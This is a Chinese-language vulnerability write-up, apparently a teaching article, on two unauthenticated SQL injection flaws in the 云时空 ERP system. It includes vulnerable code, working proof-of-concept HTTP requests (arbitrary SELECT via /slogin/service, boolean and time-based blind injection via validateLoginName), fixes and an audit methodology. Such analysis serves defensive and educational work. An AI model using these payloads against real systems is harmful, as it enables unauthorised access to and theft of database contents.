云时空ERP系统多个SQL注入漏洞分析
字数 1517 2025-08-23 18:31:18
云时空ERP系统SQL注入漏洞分析教学文档
1. 系统鉴权机制分析
1.1 Shiro框架配置
- 系统使用Apache Shiro进行权限控制
- 配置位于
spring-context-shiro.xml文件中 - 定义了一个名为
shiroFilterChainDefinitions的String类型bean - 配置格式:
pattern = filterName(Ant风格路径模式 = 过滤器名称) anon过滤器表示匿名访问,无需认证授权
1.2 未授权接口发现方法
- 检查
shiroFilterChainDefinitions配置中标记为anon的接口 - 结合
web.xml文件中的servlet配置定位具体实现代码 - 重点关注匿名访问接口的安全风险
2. 第一个SQL注入漏洞分析:/slogin/service接口
2.1 接口配置
- 匿名访问配置:
/slogin/service* = anon - 对应servlet类:
LoginServiceDispatcher(继承自HttpServlet)
2.2 漏洞代码分析
-
处理流程:
- 重写
service方法处理HTTP请求 - 从请求头获取"service"参数
- 检查参数不为空
- 根据参数值调用
DBServiceImpl的不同方法
- 重写
-
SQL注入点:
- 当
service参数为"db.select"时调用select方法 - 方法流程:
JSONObject paramJSONObject = FormUtils.toJsonParam(request); String sql = paramJSONObject.getString("sql"); if (sql是SELECT查询) { rs = db.getStatement().executeQuery(sql); // 直接执行未过滤的SQL } - 直接使用来自请求的SQL语句执行查询,无任何过滤
- 当
2.3 漏洞利用
- 构造POC:
POST /slogin/service HTTP/1.1 Content-Type: application/x-www-form-urlencoded service=db.select¶ms={"sql":"SELECT * FROM sys_user WHERE 1=1"} - 可执行任意SELECT查询,获取数据库敏感信息
3. 第二个SQL注入漏洞分析:/sys/user/validateLoginName接口
3.1 接口配置
- 匿名访问配置:
/sys/user/validateLoginName = anon - 使用Spring MVC框架
- 对应控制器方法:
@RequestMapping("/validateLoginName") public boolean validateLoginName(String loginName) { return userDao.findUniqueByProperty("login_name", loginName) == null; }
3.2 MyBatis映射分析
userDao.xml中的SQL定义:<select id="findUniqueByProperty" resultType="User" statementType="STATEMENT"> select * from sys_user where ${propertyName} = '${value}' AND del_flag = '0' </select>- 问题点:
- 使用
${value}直接拼接SQL参数(而非预编译的#{value}) statementType="STATEMENT"表示使用普通语句而非预编译
- 使用
3.3 漏洞利用
- 由于返回类型为boolean,属于盲注场景
- 布尔盲注POC:
GET /sys/user/validateLoginName?loginName=admin' AND (SELECT COUNT(*) FROM sys_user) > 0 -- HTTP/1.1 - 时间盲注POC:
GET /sys/user/validateLoginName?loginName=admin' AND IF(1=1,SLEEP(5),0) -- HTTP/1.1
4. 漏洞修复建议
4.1 /slogin/service接口修复
- 使用预编译语句:
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM table WHERE id = ?"); stmt.setString(1, param); - 限制SQL语句只能为简单查询,禁止多语句执行
- 对输入参数进行严格白名单过滤
4.2 /sys/user/validateLoginName接口修复
- 修改MyBatis映射使用预编译:
<select id="findUniqueByProperty" resultType="User"> select * from sys_user where ${propertyName} = #{value} AND del_flag = '0' </select> - 对于动态列名(propertyName):
- 使用白名单验证
- 或改为固定列名+条件判断
4.3 通用建议
- 最小权限原则:数据库连接使用最低必要权限账户
- 输入验证:对所有用户输入进行严格验证和过滤
- 移除不必要的匿名访问接口
- 定期安全审计:检查所有SQL执行点
5. 漏洞挖掘方法论
-
权限配置审计:
- 检查Shiro/Spring Security配置
- 识别所有匿名访问接口
-
代码审计要点:
- 搜索
executeQuery、execute等SQL执行方法 - 检查MyBatis中
${}的使用 - 查找动态SQL拼接点
- 搜索
-
接口测试方法:
- 对每个接收参数的接口测试注入可能性
- 特别关注返回boolean/int的接口(盲注场景)
-
工具辅助:
- 使用SQLMap等工具自动化检测
- 代码静态分析工具扫描潜在漏洞
本教学文档详细分析了云时空ERP系统中的两处SQL注入漏洞,从配置到代码实现,再到漏洞利用和修复方案,提供了完整的学习路径和实践指导。